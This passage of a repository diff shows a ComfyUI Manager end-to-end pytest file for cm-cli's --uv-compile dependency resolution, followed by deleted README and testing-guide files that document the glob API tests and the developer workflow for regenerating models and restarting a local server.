CM_CLI = os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
|
||||
else:
|
||||
CM_CLI = ""
|
||||
|
||||
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
REPO_TEST2 = "https://github.com/ltdrdata/nodepack-test2-do-not-install"
|
||||
PACK_TEST1 = "nodepack-test1-do-not-install"
|
||||
PACK_TEST2 = "nodepack-test2-do-not-install"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _run_cm_cli(*args: str, timeout: int = 180) -> subprocess.CompletedProcess:
|
||||
"""Run cm-cli in the E2E environment.
|
||||
|
||||
Uses file-based capture instead of pipes to avoid Windows pipe buffer
|
||||
loss when the subprocess exits via typer.Exit / sys.exit.
|
||||
"""
|
||||
env = {
|
||||
**os.environ,
|
||||
"COMFYUI_PATH": COMFYUI_PATH,
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
}
|
||||
stdout_path = os.path.join(E2E_ROOT, f"_cm_stdout_{os.getpid()}.tmp")
|
||||
stderr_path = os.path.join(E2E_ROOT, f"_cm_stderr_{os.getpid()}.tmp")
|
||||
try:
|
||||
with open(stdout_path, "w", encoding="utf-8") as out_f, \
|
||||
open(stderr_path, "w", encoding="utf-8") as err_f:
|
||||
r = subprocess.run(
|
||||
[CM_CLI, *args],
|
||||
stdout=out_f,
|
||||
stderr=err_f,
|
||||
timeout=timeout,
|
||||
env=env,
|
||||
)
|
||||
with open(stdout_path, encoding="utf-8", errors="replace") as f:
|
||||
r.stdout = f.read()
|
||||
with open(stderr_path, encoding="utf-8", errors="replace") as f:
|
||||
r.stderr = f.read()
|
||||
finally:
|
||||
for p in (stdout_path, stderr_path):
|
||||
try:
|
||||
os.unlink(p)
|
||||
except OSError:
|
||||
pass
|
||||
return r
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack from custom_nodes (if it exists).
|
||||
|
||||
On Windows, file locks (antivirus, git handles) can prevent immediate
|
||||
deletion. Strategy: retry rmtree, then fall back to rename (moves the
|
||||
directory out of the resolver's scan path so stale deps don't leak).
|
||||
"""
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
return
|
||||
if not os.path.isdir(path):
|
||||
return
|
||||
# Try direct removal first
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(path)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
# Fallback: rename out of custom_nodes so resolver won't scan it
|
||||
import uuid
|
||||
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
|
||||
try:
|
||||
os.rename(path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _clean_trash() -> None:
|
||||
"""Remove .trash_* directories left by rename-then-delete fallback."""
|
||||
if not CUSTOM_NODES or not os.path.isdir(CUSTOM_NODES):
|
||||
return
|
||||
for name in os.listdir(CUSTOM_NODES):
|
||||
if name.startswith(".trash_"):
|
||||
shutil.rmtree(os.path.join(CUSTOM_NODES, name), ignore_errors=True)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clean_test_packs():
|
||||
"""Ensure test node packs are removed before and after each test."""
|
||||
_remove_pack(PACK_TEST1)
|
||||
_remove_pack(PACK_TEST2)
|
||||
_clean_trash()
|
||||
yield
|
||||
_remove_pack(PACK_TEST1)
|
||||
_remove_pack(PACK_TEST2)
|
||||
_clean_trash()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestInstall:
|
||||
"""cm-cli install --uv-compile"""
|
||||
|
||||
def test_install_single_pack_resolves(self):
|
||||
"""Install one test pack with --uv-compile → resolve succeeds."""
|
||||
r = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
assert "Installation was successful" in combined
|
||||
assert "Resolved" in combined
|
||||
|
||||
def test_install_conflicting_packs_shows_attribution(self):
|
||||
"""Install two conflicting packs → conflict attribution output."""
|
||||
# Install first (no conflict yet)
|
||||
r1 = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1), f"test1 not installed (rc={r1.returncode})"
|
||||
assert r1.returncode == 0, f"test1 install failed (rc={r1.returncode})"
|
||||
|
||||
# Install second → uv-compile detects conflict between
|
||||
# python-slugify==8.0.4 (test1) and text-unidecode==1.2 (test2)
|
||||
r2 = _run_cm_cli("install", "--uv-compile", REPO_TEST2)
|
||||
combined = r2.stdout + r2.stderr
|
||||
|
||||
assert _pack_exists(PACK_TEST2), f"test2 not cloned (rc={r2.returncode})"
|
||||
assert r2.returncode != 0, f"Expected non-zero exit (conflict). rc={r2.returncode}"
|
||||
assert "Resolution failed" in combined, (
|
||||
f"Missing 'Resolution failed'. stdout={r2.stdout[:500]!r}"
|
||||
)
|
||||
assert "Conflicting packages (by node pack):" in combined
|
||||
|
||||
|
||||
class TestReinstall:
|
||||
"""cm-cli reinstall --uv-compile"""
|
||||
|
||||
def test_reinstall_with_uv_compile(self):
|
||||
"""Reinstall an existing pack with --uv-compile."""
|
||||
# Install first
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
# Reinstall with --uv-compile
|
||||
r = _run_cm_cli("reinstall", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
# Reinstall should re-resolve or report the pack exists
|
||||
# Note: Manager's reinstall may fail to remove the existing directory
|
||||
# before re-cloning (known issue — purge_node_state bug)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
assert "Resolving dependencies" in combined or "Already exists" in combined
|
||||
|
||||
|
||||
class TestUpdate:
|
||||
"""cm-cli update --uv-compile"""
|
||||
|
||||
def test_update_single_with_uv_compile(self):
|
||||
"""Update an installed pack with --uv-compile."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("update", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
def test_update_all_with_uv_compile(self):
|
||||
"""update all --uv-compile runs uv-compile after updating."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("update", "--uv-compile", "all")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
|
||||
class TestFix:
|
||||
"""cm-cli fix --uv-compile"""
|
||||
|
||||
def test_fix_single_with_uv_compile(self):
|
||||
"""Fix an installed pack with --uv-compile."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("fix", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
def test_fix_all_with_uv_compile(self):
|
||||
"""fix all --uv-compile runs uv-compile after fixing."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("fix", "--uv-compile", "all")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
|
||||
class TestUvCompileStandalone:
|
||||
"""cm-cli uv-sync (standalone command, formerly uv-compile)"""
|
||||
|
||||
def test_uv_compile_no_packs(self):
|
||||
"""uv-compile with no node packs → 'No custom node packs found'."""
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
# Only ComfyUI-Manager exists (no requirements.txt in it normally)
|
||||
# so either "No custom node packs found" or resolves 0
|
||||
assert r.returncode == 0 or "No custom node packs" in combined
|
||||
|
||||
def test_uv_compile_with_packs(self):
|
||||
"""uv-compile after installing test pack → resolves."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
assert "Resolved" in combined
|
||||
|
||||
def test_uv_compile_conflict_attribution(self):
|
||||
"""uv-compile with conflicting packs → shows attribution."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
_run_cm_cli("install", REPO_TEST2)
|
||||
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert r.returncode != 0
|
||||
assert "Conflicting packages (by node pack):" in combined
|
||||
assert PACK_TEST1 in combined
|
||||
assert PACK_TEST2 in combined
|
||||
|
||||
|
||||
class TestRestoreDependencies:
|
||||
"""cm-cli restore-dependencies --uv-compile"""
|
||||
|
||||
def test_restore_dependencies_with_uv_compile(self):
|
||||
"""restore-dependencies --uv-compile runs resolver after restore."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("restore-dependencies", "--uv-compile")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
|
||||
class TestConflictAttributionDetail:
|
||||
"""Verify conflict attribution output details."""
|
||||
|
||||
def test_both_packs_and_specs_shown(self):
|
||||
"""Conflict output shows pack names AND version specs."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
_run_cm_cli("install", REPO_TEST2)
|
||||
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
# Processed attribution must show exact version specs (not raw uv error)
|
||||
assert r.returncode != 0
|
||||
assert "Conflicting packages (by node pack):" in combined
|
||||
assert "python-slugify==8.0.4" in combined
|
||||
assert "text-unidecode==1.2" in combined
|
||||
# Both pack names present in attribution block
|
||||
assert PACK_TEST1 in combined
|
||||
assert PACK_TEST2 in combined
|
||||
@@ -1,327 +0,0 @@
|
||||
# Glob API Endpoint Tests
|
||||
|
||||
This directory contains endpoint tests for the ComfyUI Manager glob API implementation.
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **Running Tests**: See [Running Tests](#running-tests) section below
|
||||
- **Test Coverage**: See [Test Coverage](#test-coverage) section
|
||||
- **Known Issues**: See [Known Issues and Fixes](#known-issues-and-fixes) section
|
||||
- **Detailed Execution Guide**: See [TESTING_GUIDE.md](./TESTING_GUIDE.md)
|
||||
- **Future Test Plans**: See [docs/internal/test_planning/](../../docs/internal/test_planning/)
|
||||
|
||||
## Test Files
|
||||
|
||||
- `test_queue_task_api.py` - Queue task API tests for install/uninstall/version switching operations (8 tests)
|
||||
- `test_enable_disable_api.py` - Queue task API tests for enable/disable operations (5 tests)
|
||||
- `test_update_api.py` - Queue task API tests for update operations (4 tests)
|
||||
- `test_complex_scenarios.py` - Multi-version complex scenarios (10 tests) - **Phase 1 + 3 + 4 + 5 + 6**
|
||||
- `test_installed_api_original_case.py` - Installed API case preservation tests (4 tests)
|
||||
- `test_version_switching_comprehensive.py` - Comprehensive version switching tests (19 tests)
|
||||
- `test_case_sensitivity_integration.py` - Full integration test for case sensitivity (1 test)
|
||||
|
||||
**Total: 51 tests - All passing ✅** (+5 P1 tests: Phase 3.1, Phase 5.1, Phase 5.2, Phase 5.3, Phase 6)
|
||||
|
||||
## Running Tests
|
||||
|
||||
### Prerequisites
|
||||
|
||||
1. Install test dependencies:
|
||||
```bash
|
||||
pip install pytest requests
|
||||
```
|
||||
|
||||
2. Start ComfyUI server with Manager:
|
||||
```bash
|
||||
cd tests/env
|
||||
./run.sh
|
||||
```
|
||||
|
||||
### Run All Tests
|
||||
|
||||
```bash
|
||||
# From project root
|
||||
pytest tests/glob/ -v
|
||||
|
||||
# With coverage
|
||||
pytest tests/glob/ -v --cov=comfyui_manager.glob --cov-report=html
|
||||
```
|
||||
|
||||
### Run Specific Tests
|
||||
|
||||
```bash
|
||||
# Run specific test file
|
||||
pytest tests/glob/test_queue_task_api.py -v
|
||||
|
||||
# Run specific test function
|
||||
pytest tests/glob/test_queue_task_api.py::test_install_package_via_queue -v
|
||||
|
||||
# Run with output
|
||||
pytest tests/glob/test_queue_task_api.py -v -s
|
||||
```
|
||||
|
||||
## Environment Variables
|
||||
|
||||
- `COMFYUI_TEST_URL` - Base URL for ComfyUI server (default: http://127.0.0.1:8188)
|
||||
- `TEST_SERVER_PORT` - Server port (default: 8188, automatically used by conftest.py)
|
||||
- `COMFYUI_CUSTOM_NODES_PATH` - Path to custom_nodes directory (default: tests/env/ComfyUI/custom_nodes)
|
||||
|
||||
**Important**: All tests now use the `server_url` fixture from `conftest.py`, which reads from these environment variables. This ensures compatibility with parallel test execution.
|
||||
|
||||
Example:
|
||||
```bash
|
||||
# Single test environment
|
||||
COMFYUI_TEST_URL=http://localhost:8188 pytest tests/glob/ -v
|
||||
|
||||
# Parallel test environment (port automatically set)
|
||||
TEST_SERVER_PORT=8189 pytest tests/glob/ -v
|
||||
```
|
||||
|
||||
## Test Coverage
|
||||
|
||||
The test suite covers:
|
||||
|
||||
1. **Install Operations** (test_queue_task_api.py)
|
||||
- Install package via queue task API
|
||||
- Version switching between CNR and Nightly
|
||||
- Case-insensitive package name handling
|
||||
- Queue multiple install tasks
|
||||
|
||||
2. **Uninstall Operations** (test_queue_task_api.py)
|
||||
- Uninstall package via queue task API
|
||||
- Complete install/uninstall cycle
|
||||
- Case-insensitive uninstall operations
|
||||
|
||||
3. **Enable/Disable Operations** (test_enable_disable_api.py) ✅ **All via Queue Task API**
|
||||
- Disable active package via queue task
|
||||
- Enable disabled package via queue task
|
||||
- Duplicate disable/enable handling via queue task
|
||||
- Complete enable/disable cycle via queue task
|
||||
- Marker file preservation (.tracking, .git)
|
||||
|
||||
4. **Update Operations** (test_update_api.py)
|
||||
- Update CNR package to latest version
|
||||
- Update Nightly package (git pull)
|
||||
- Skip update when already latest
|
||||
- Complete update workflow cycle
|
||||
|
||||
5. **Complex Multi-Version Scenarios** (test_complex_scenarios.py)
|
||||
- **Phase 1**: Enable from Multiple Disabled States
|
||||
- Enable CNR when both CNR and Nightly are disabled
|
||||
- Enable Nightly when both CNR and Nightly are disabled
|
||||
- **Phase 3**: Disable Complex Scenarios
|
||||
- Disable CNR when Nightly is disabled (both end up disabled)
|
||||
- **Phase 4**: Update with Other Versions Present
|
||||
- Update CNR with Nightly disabled (selective update)
|
||||
- Update Nightly with CNR disabled (selective update)
|
||||
- Update enabled package with multiple disabled versions
|
||||
- **Phase 5**: Install with Existing Versions (Complete) ✅
|
||||
- Install CNR when Nightly is enabled (automatic version switch)
|
||||
- Install Nightly when CNR is enabled (automatic version switch)
|
||||
- Install new version when both CNR and Nightly are disabled
|
||||
- **Phase 6**: Uninstall with Multiple Versions ✅
|
||||
- Uninstall removes all versions (enabled + all disabled) - default behavior
|
||||
- Version-specific enable with @version syntax
|
||||
- Multiple disabled versions management
|
||||
|
||||
6. **Version Switching Comprehensive** (test_version_switching_comprehensive.py)
|
||||
- Reverse scenario: Nightly → CNR → Nightly
|
||||
- Same version reinstall detection and skip
|
||||
|
||||
7. **Case Sensitivity Integration** (test_case_sensitivity_integration.py)
|
||||
- Full workflow: Install CNR → Verify lookup → Switch to Nightly
|
||||
- Directory naming convention verification
|
||||
- Marker file preservation (.tracking, .git)
|
||||
- Supports both pytest and standalone execution
|
||||
- Repeated version switching (4+ times)
|
||||
- Cleanup verification (no orphaned files)
|
||||
- Fresh install after complete uninstall
|
||||
|
||||
7. **Queue Management**
|
||||
- Queue multiple tasks
|
||||
- Start queue processing
|
||||
- Task execution order and completion
|
||||
|
||||
8. **Integration Tests**
|
||||
- Verify package in installed list
|
||||
- Verify filesystem changes
|
||||
- Version identification (.tracking vs .git)
|
||||
- .disabled/ directory mechanism
|
||||
|
||||
## Known Issues and Fixes
|
||||
|
||||
### Issue 1: Glob API Parameters
|
||||
**Important**: Glob API does NOT support `channel` or `mode` parameters.
|
||||
|
||||
**Note**:
|
||||
- `channel` and `mode` parameters are legacy-only features
|
||||
- `InstallPackParams` data model includes these fields because it's shared between legacy and glob implementations
|
||||
- Glob API implementation ignores these parameters
|
||||
- Tests should NOT include `channel` or `mode` in request parameters
|
||||
|
||||
### Issue 2: Case-Insensitive Package Operations (PARTIALLY RESOLVED)
|
||||
**Previous Problem**: Operations failed when using different cases (e.g., "ComfyUI_SigmoidOffsetScheduler" vs "comfyui_sigmoidoffsetscheduler")
|
||||
|
||||
**Current Status**:
|
||||
- **Install**: Requires exact package name due to CNR server limitations (case-sensitive)
|
||||
- **Uninstall/Enable/Disable**: Works with any case variation using `cnr_utils.normalize_package_name()`
|
||||
|
||||
**Normalization Function** (`cnr_utils.normalize_package_name()`):
|
||||
- Strips leading/trailing whitespace with `.strip()`
|
||||
- Converts to lowercase with `.lower()`
|
||||
- Accepts any case variation (e.g., "ComfyUI_SigmoidOffsetScheduler", "COMFYUI_SIGMOIDOFFSETSCHEDULER", " comfyui_sigmoidoffsetscheduler ")
|
||||
|
||||
**Examples**:
|
||||
```python
|
||||
# Install - requires exact case
|
||||
{"id": "ComfyUI_SigmoidOffsetScheduler"} # ✓ Works
|
||||
{"id": "comfyui_sigmoidoffsetscheduler"} # ✗ Fails (CNR limitation)
|
||||
|
||||
# Uninstall - accepts any case
|
||||
{"node_name": "ComfyUI_SigmoidOffsetScheduler"} # ✓ Works
|
||||
{"node_name": " ComfyUI_SigmoidOffsetScheduler "} # ✓ Works (normalized)
|
||||
{"node_name": "COMFYUI_SIGMOIDOFFSETSCHEDULER"} # ✓ Works (normalized)
|
||||
{"node_name": "comfyui_sigmoidoffsetscheduler"} # ✓ Works (normalized)
|
||||
```
|
||||
|
||||
### Issue 3: `.disabled/` Directory Mechanism
|
||||
**Critical Discovery**: The `.disabled/` directory is used by the **disable** operation to store disabled packages.
|
||||
|
||||
**Implementation** (manager_core.py:1115-1154):
|
||||
```python
|
||||
def unified_disable(self, packname: str):
|
||||
# Disable moves package to .disabled/ with version suffix
|
||||
to_path = os.path.join(base_path, '.disabled', f"{folder_name}@{matched_active.version.replace('.', '_')}")
|
||||
shutil.move(matched_active.fullpath, to_path)
|
||||
```
|
||||
|
||||
**Directory Naming Format**:
|
||||
- CNR packages: `.disabled/{package_name_normalized}@{version}`
|
||||
- Example: `.disabled/comfyui_sigmoidoffsetscheduler@1_0_2`
|
||||
- Nightly packages: `.disabled/{package_name_normalized}@nightly`
|
||||
- Example: `.disabled/comfyui_sigmoidoffsetscheduler@nightly`
|
||||
|
||||
**Key Points**:
|
||||
- Package names are **normalized** (lowercase) in directory names
|
||||
- Version dots are **replaced with underscores** (e.g., `1.0.2` → `1_0_2`)
|
||||
- Disabled packages **preserve** their marker files (`.tracking` for CNR, `.git` for Nightly)
|
||||
- Enable operation **moves packages back** from `.disabled/` to `custom_nodes/`
|
||||
|
||||
**Testing Implications**:
|
||||
- Complex multi-version scenarios require **install → disable** sequences
|
||||
- Fixture pattern: Install CNR → Disable → Install Nightly → Disable
|
||||
- Tests must check `.disabled/` with **case-insensitive** searches
|
||||
- Directory format must match normalized names with version suffixes
|
||||
|
||||
### Issue 4: Version Switch Mechanism
|
||||
**Behavior**: Version switching uses a **slot-based system** with Nightly and Archive as separate slots.
|
||||
|
||||
**Slot-Based System Concept**:
|
||||
- **Nightly Slot**: Git-based installation (one slot)
|
||||
- **Archive Slot**: Registry-based installation (one slot)
|
||||
- Only **one slot is active** at a time
|
||||
- The inactive slot is stored in `.disabled/`
|
||||
- Archive versions update **within the Archive slot**
|
||||
|
||||
**Two Types of Version Switch**:
|
||||
|
||||
**1. Slot Switch: Nightly ↔ Archive (uses `.disabled/` mechanism)**
|
||||
- **Archive → Nightly**:
|
||||
- Archive (any version) → moved to `.disabled/ComfyUI_SigmoidOffsetScheduler`
|
||||
- Nightly → active in `custom_nodes/ComfyUI_SigmoidOffsetScheduler`
|
||||
|
||||
- **Nightly → Archive**:
|
||||
- Nightly → moved to `.disabled/ComfyUI_SigmoidOffsetScheduler`
|
||||
- Archive (any version) → **restored from `.disabled/`** and becomes active
|
||||
|
||||
**2. Version Update: Archive ↔ Archive (in-place update within Archive slot)**
|
||||
- **1.0.1 → 1.0.2** (when Archive slot is active):
|
||||
- Directory contents updated in-place
|
||||
- pyproject.toml version updated: 1.0.1 → 1.0.2
|
||||
- `.tracking` file updated
|
||||
- NO `.disabled/` directory used
|
||||
|
||||
**3. Combined Operation: Nightly (active) + Archive 1.0 (disabled) → Archive 2.0**
|
||||
- **Step 1 - Slot Switch**: Nightly → `.disabled/`, Archive 1.0 → active
|
||||
- **Step 2 - Version Update**: Archive 1.0 → 2.0 (in-place within Archive slot)
|
||||
- **Result**: Archive 2.0 active, Nightly in `.disabled/`
|
||||
|
||||
**Version Identification**:
|
||||
- **Archive versions**: Use `pyproject.toml` version field
|
||||
- **Nightly version**: pyproject.toml **ignored**, Git commit SHA used instead
|
||||
|
||||
**Key Points**:
|
||||
- **Slot Switch** (Nightly ↔ Archive): `.disabled/` mechanism for enable/disable
|
||||
- **Version Update** (Archive ↔ Archive): In-place content update within slot
|
||||
- Archive installations have `.tracking` file
|
||||
- Nightly installations have `.git` directory
|
||||
- Only one slot is active at a time
|
||||
|
||||
### Issue 5: Version Selection Logic (RESOLVED)
|
||||
**Problem**: When enabling a package with both CNR and Nightly versions disabled, the system would always enable CNR instead of respecting the user's choice.
|
||||
|
||||
**Root Cause** (manager_server.py:876-919):
|
||||
- `do_enable()` was parsing `version_spec` from `cnr_id` (e.g., `packagename@nightly`)
|
||||
- But it wasn't passing `version_spec` to `unified_enable()`
|
||||
- This caused `unified_enable()` to use default version selection (latest CNR)
|
||||
|
||||
**Solution**:
|
||||
```python
|
||||
# Before (manager_server.py:876)
|
||||
res = core.unified_manager.unified_enable(node_name) # Missing version_spec!
|
||||
|
||||
# After (manager_server.py:876)
|
||||
res = core.unified_manager.unified_enable(node_name, version_spec) # ✅ Fixed
|
||||
```
|
||||
|
||||
**API Usage**:
|
||||
```python
|
||||
# Enable CNR version (default or latest)
|
||||
{"cnr_id": "ComfyUI_SigmoidOffsetScheduler"}
|
||||
|
||||
# Enable specific CNR version
|
||||
{"cnr_id": "ComfyUI_SigmoidOffsetScheduler@1.0.1"}
|
||||
|
||||
# Enable Nightly version
|
||||
{"cnr_id": "ComfyUI_SigmoidOffsetScheduler@nightly"}
|
||||
```
|
||||
|
||||
**Version Selection Priority** (manager_core.py:get_inactive_pack):
|
||||
1. Explicit version in cnr_id (e.g., `@nightly`, `@1.0.1`)
|
||||
2. Latest CNR version (if available)
|
||||
3. Nightly version (if no CNR available)
|
||||
4. Unknown version (fallback)
|
||||
|
||||
**Files Modified**:
|
||||
- `comfyui_manager/glob/manager_server.py` - Pass version_spec to unified_enable
|
||||
- `comfyui_manager/common/node_package.py` - Parse @version from disabled directory names
|
||||
- `comfyui_manager/glob/manager_core.py` - Fix is_disabled() early-return bug
|
||||
|
||||
**Status**: ✅ Resolved - All 42 tests passing
|
||||
|
||||
## Test Data
|
||||
|
||||
Test package: `ComfyUI_SigmoidOffsetScheduler`
|
||||
- Package ID: `ComfyUI_SigmoidOffsetScheduler`
|
||||
- CNR ID (lowercase): `comfyui_sigmoidoffsetscheduler`
|
||||
- Version: `1.0.2`
|
||||
- Nightly: Git clone from main branch
|
||||
|
||||
## Additional Documentation
|
||||
|
||||
### Test Execution Guide
|
||||
- **[TESTING_GUIDE.md](./TESTING_GUIDE.md)** - Detailed guide for running tests, updating OpenAPI schemas, and troubleshooting
|
||||
|
||||
### Future Test Plans
|
||||
- **[docs/internal/test_planning/](../../docs/internal/test_planning/)** - Planned but not yet implemented test scenarios
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
When adding new tests:
|
||||
1. Follow pytest naming conventions (test_*.py, test_*)
|
||||
2. Use fixtures for common setup/teardown
|
||||
3. Add docstrings explaining test purpose
|
||||
4. Update this README with test coverage information
|
||||
5. For complex scenario tests, see [docs/internal/test_planning/](../../docs/internal/test_planning/)
|
||||
@@ -1,496 +0,0 @@
|
||||
# Testing Guide for ComfyUI Manager
|
||||
|
||||
## Code Update and Testing Workflow
|
||||
|
||||
When you modify code that affects the API or data models, follow this **mandatory workflow** to ensure your changes are properly tested:
|
||||
|
||||
### 1. OpenAPI Spec Modification
|
||||
|
||||
If you change data being sent or received:
|
||||
|
||||
```bash
|
||||
# Edit openapi.yaml
|
||||
vim openapi.yaml
|
||||
|
||||
# Verify YAML syntax
|
||||
python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
|
||||
```
|
||||
|
||||
### 2. Regenerate Data Models
|
||||
|
||||
```bash
|
||||
# Generate Pydantic models from OpenAPI spec
|
||||
datamodel-codegen \
|
||||
--use-subclass-enum \
|
||||
--field-constraints \
|
||||
--strict-types bytes \
|
||||
--use-double-quotes \
|
||||
--input openapi.yaml \
|
||||
--output comfyui_manager/data_models/generated_models.py \
|
||||
--output-model-type pydantic_v2.BaseModel
|
||||
|
||||
# Verify Python syntax
|
||||
python3 -m py_compile comfyui_manager/data_models/generated_models.py
|
||||
|
||||
# Format and lint
|
||||
ruff format comfyui_manager/data_models/generated_models.py
|
||||
ruff check comfyui_manager/data_models/generated_models.py --fix
|
||||
```
|
||||
|
||||
### 3. Update Exports (if needed)
|
||||
|
||||
```bash
|
||||
# Update __init__.py if new models were added
|
||||
vim comfyui_manager/data_models/__init__.py
|
||||
```
|
||||
|
||||
### 4. **CRITICAL**: Reinstall Package
|
||||
|
||||
⚠️ **You MUST reinstall the package before restarting the server!**
|
||||
|
||||
```bash
|
||||
# Reinstall package in development mode
|
||||
uv pip install .
|
||||
```
|
||||
|
||||
**Why this is critical**: The server loads modules from `site-packages`, not from your source directory. If you don't reinstall, the server will use old models and you'll see Pydantic errors.
|
||||
|
||||
### 5. Restart ComfyUI Server
|
||||
|
||||
```bash
|
||||
# Stop existing servers
|
||||
ps aux | grep "main.py" | grep -v grep | awk '{print $2}' | xargs -r kill
|
||||
sleep 3
|
||||
|
||||
# Start new server
|
||||
cd tests/env
|
||||
python ComfyUI/main.py \
|
||||
--enable-compress-response-body \
|
||||
--enable-manager \
|
||||
--front-end-root front \
|
||||
> /tmp/comfyui-server.log 2>&1 &
|
||||
|
||||
# Wait for server to be ready
|
||||
sleep 10
|
||||
grep -q "To see the GUI" /tmp/comfyui-server.log && echo "✓ Server ready" || echo "Waiting..."
|
||||
```
|
||||
|
||||
### 6. Run Tests
|
||||
|
||||
```bash
|
||||
# Run all queue task API tests
|
||||
python -m pytest tests/glob/test_queue_task_api.py -v
|
||||
|
||||
# Run specific test
|
||||
python -m pytest tests/glob/test_queue_task_api.py::test_install_package_via_queue -v
|
||||
|
||||
# Run with verbose output
|
||||
python -m pytest tests/glob/test_queue_task_api.py -v -s
|
||||
```
|
||||
|
||||
### 7. Check Test Results and Logs
|
||||
|
||||
```bash
|
||||
# View server logs for errors
|
||||
tail -100 /tmp/comfyui-server.log | grep -E "exception|error|failed"
|
||||
|
||||
# Check for specific test task
|
||||
tail -100 /tmp/comfyui-server.log | grep "test_task_id"
|
||||
```
|
||||
|
||||
## Complete Workflow Script
|
||||
|
||||
Here's the complete workflow in a single script:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
echo "=== Step 1: Verify OpenAPI Spec ==="
|
||||
python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
|
||||
echo "✓ YAML valid"
|
||||
|
||||
echo ""
|
||||
echo "=== Step 2: Regenerate Data Models ==="
|
||||
datamodel-codegen \
|
||||
--use-subclass-enum \
|
||||
--field-constraints \
|
||||
--strict-types bytes \
|
||||
--use-double-quotes \
|
||||
--input openapi.yaml \
|
||||
--output comfyui_manager/data_models/generated_models.py \
|
||||
--output-model-type pydantic_v2.BaseModel
|
||||
|
||||
python3 -m py_compile comfyui_manager/data_models/generated_models.py
|
||||
ruff format comfyui_manager/data_models/generated_models.py
|
||||
ruff check comfyui_manager/data_models/generated_models.py --fix
|
||||
echo "✓ Models regenerated and formatted"
|
||||
|
||||
echo ""
|
||||
echo "=== Step 3: Reinstall Package ==="
|
||||
uv pip install .
|
||||
echo "✓ Package reinstalled"
|
||||
|
||||
echo ""
|
||||
echo "=== Step 4: Restart Server ==="
|
||||
ps aux | grep "main.py" | grep -v grep | awk '{print $2}' | xargs -r kill
|
||||
sleep 3
|
||||
|
||||
cd tests/env
|
||||
python ComfyUI/main.py \
|
||||
--enable-compress-response-body \
|
||||
--enable-manager \
|
||||
--front-end-root front \
|
||||
> /tmp/comfyui-server.log 2>&1 &
|
||||
|
||||
sleep 10
|
||||
grep -q "To see the GUI" /tmp/comfyui-server.log && echo "✓ Server ready" || echo "⚠ Server still starting..."
|
